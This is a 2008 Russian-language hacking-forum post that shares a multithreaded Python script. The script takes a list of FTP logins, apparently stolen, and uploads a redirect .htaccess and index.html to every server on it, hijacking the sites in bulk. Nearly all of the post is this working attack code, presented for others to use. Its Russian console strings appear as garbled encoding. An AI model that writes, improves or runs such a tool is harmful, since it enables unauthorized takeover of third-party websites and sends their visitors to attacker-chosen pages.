| login999 |
08.12.2008 14:07 |
[Python] Заливка редиректов на FTP
Вот накорябал скриптягу на Python для заливки редиректов на фтп, для работы нужны 1.htaccess и index.html с кодом редиректа (Идея взята из Чаковского скрипта), скрипт заточен под Win-консоль (заточка заключается в кодировке :)) Скрипт вроде кагбэ даже многопоточный.
П.С. Время задержки зависит от вашего канала/количества потоков - так что с оптимальной величиной нужно поэкспериментировать.
П.П.С. КОНСТРУКТИВНАЯ критика приветствуется (кому не нравится - не качаем)
Код:
#!/usr/bin/env python
# -*- coding:Cp866 -*-
import ftplib,time,urlparse,threading
print " џ «оЎ«о «о¤Ґ©! (c) Dolphin"
print ""
ftp_list_file_name=raw_input("‚ўҐ¤ЁвҐ Ё¬п FTP-«Ёбв* :")
thr_num=int(raw_input("‚ўҐ¤ЁвҐ Є®«ЁзҐбвў® Ї®в®Є®ў :"))
del_time=int(raw_input("“Є*¦ЁвҐ ўаҐ¬п §*¤Ґа¦ЄЁ :"))
def con_write():
ftp_server=ftp_list.pop()[:-1]
addr=urlparse.urlparse(ftp_server)
try:
con_serv=ftplib.FTP(addr.hostname,addr.username,addr.password,timeout=10)
try:
con_serv.storbinary("STOR .htaccess", open("1.htaccess"))
print ".htaccess ў:" + addr.hostname+":"+addr.username+" б®еа**с* гбЇҐи*® "
except Exception:
print ".htaccess ў:"+ addr.hostname+":"+addr.username+" *Ґ б®еа**Ґ*"
try:
con_serv.storbinary("STOR index.html", open("index.html"))
print "index.html ў:" + addr.hostname+":"+addr.username+" б®еа**Ґ* гбЇҐи*®"
except Exception:
print "index.html ў:"+ addr.hostname +":"+addr.username+" *Ґ б®еа**Ґ*"
try:
con_serv.quit
except Exception:
print "ЌҐ ¬®Јг §*Єалвм ᮥ¤Ё*Ґ*ЁҐ б FTP бҐаўҐа®¬"
except Exception:
print "ЋиЁЎЄ* §*ЇЁбЁ"
except Exception:
print "ЌҐ ¬®Јг Ї®¤Є«озЁвмбп Є FTP бҐаўҐаг"
with open(ftp_list_file_name) as ftp_list:
ftp_list=list(ftp_list)
for x in ftp_list:
while threading.activeCount() > thr_num:time.sleep(del_time)
threading.Thread(target=con_write).start()
while threading.activeCount() > thr_num:time.sleep(del_time)
print threading.activeCount()
print "‚лЈаг§Є* §*Є®*зҐ**"+" ў "+ time.strftime("%H:%M:%S %d:%m:%Y")
|